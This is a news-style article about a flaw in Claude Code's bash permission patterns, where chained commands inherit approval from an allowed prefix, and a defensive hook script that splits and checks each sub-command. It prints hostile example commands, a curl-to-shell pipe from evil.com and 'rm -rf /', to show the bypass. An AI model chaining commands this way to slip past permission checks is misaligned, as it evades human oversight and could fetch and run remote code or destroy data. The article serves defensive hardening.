Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

✍️ OpenClawRadar📅 Publié: March 18, 2026🔗 Source
Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass
Ad

Security Gap in Claude Code's Permission System

Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.

The Solution: claude-hooks

The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:

  • Decomposes compound commands by splitting on &&, ||, ;, |, newlines, and extracts $() and backtick subshell contents recursively
  • Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
  • Checks each sub-command individually against your existing permissions.allow and permissions.deny patterns
  • Deny wins — if any sub-command matches a deny pattern, the whole command is denied
  • All must allow — auto-approve only happens when every sub-command matches an allow pattern
  • Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Ad

Setup Instructions

Installation takes about 30 seconds:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Add to ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.

Example Behavior

  • git status: Allowed both with and without hook
  • git add . && git commit -m "msg": Allowed both with and without hook (both match git *)
  • git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf / has no allow)
  • `npm test | tee output.log`: Allowed
  • FOO=bar git push: Might not match without hook, allowed with hook (env var stripped)

The repository is available at https://github.com/liberzon/claude-hooks under MIT license.

📖 Read the full source: r/ClaudeAI

Ad

👀 See Also

Audit de sécurité OpenClaw - Invites de commande - Rapports de vulnérabilités en langage clair
Security

Audit de sécurité OpenClaw - Invites de commande - Rapports de vulnérabilités en langage clair

Un utilisateur de Reddit a partagé un prompt pour l'interface en ligne de commande OpenClaw qui exécute un audit de sécurité approfondi et présente les résultats en anglais simple, en spécifiant ce qui est exposé, les scores de sévérité et les corrections de configuration exactes.

OpenClawRadar
Claude Cowork : Préoccupations de sécurité liées à la permission 'Autoriser toutes les actions du navigateur' et correctifs proposés
Security

Claude Cowork : Préoccupations de sécurité liées à la permission 'Autoriser toutes les actions du navigateur' et correctifs proposés

Un utilisateur de Reddit souligne que le bouton 'Autoriser tout' de Claude Cowork accorde un accès permanent et illimité au navigateur pour toutes les sessions futures, sans visibilité, limites ni expiration, créant ainsi des risques de sécurité. La publication propose des autorisations limitées à la session ou à la compétence comme paramètres par défaut plus sûrs.

OpenClawRadar
Piratage du chiffrement de la médiation AppLovin : l'empreinte numérique des appareils contourne l'ATT
Security

Piratage du chiffrement de la médiation AppLovin : l'empreinte numérique des appareils contourne l'ATT

Le reverse engineering a révélé que le chiffrement personnalisé d'AppLovin utilise un sel constant + une clé SDK, un PRNG SplitMix64, et aucune authentification. Les requêtes déchiffrées transportent environ 50 champs sur l'appareil (modèle matériel, taille d'écran, locale, heure de démarrage, etc.) même lorsque ATT est refusé, permettant une ré-identification déterministe entre applications.

OpenClawRadar
Audit de sécurité quotidien automatisé par IA pour un magasin géré par IA
Security

Audit de sécurité quotidien automatisé par IA pour un magasin géré par IA

Un magasin géré par IA effectue un audit de sécurité quotidien de manière autonome, sans planification humaine ni tâches cron. L'agent IA vérifie les vulnérabilités SSRF, les risques d'injection et les lacunes d'authentification, puis génère un rapport pour examen par un développeur senior.

OpenClawRadar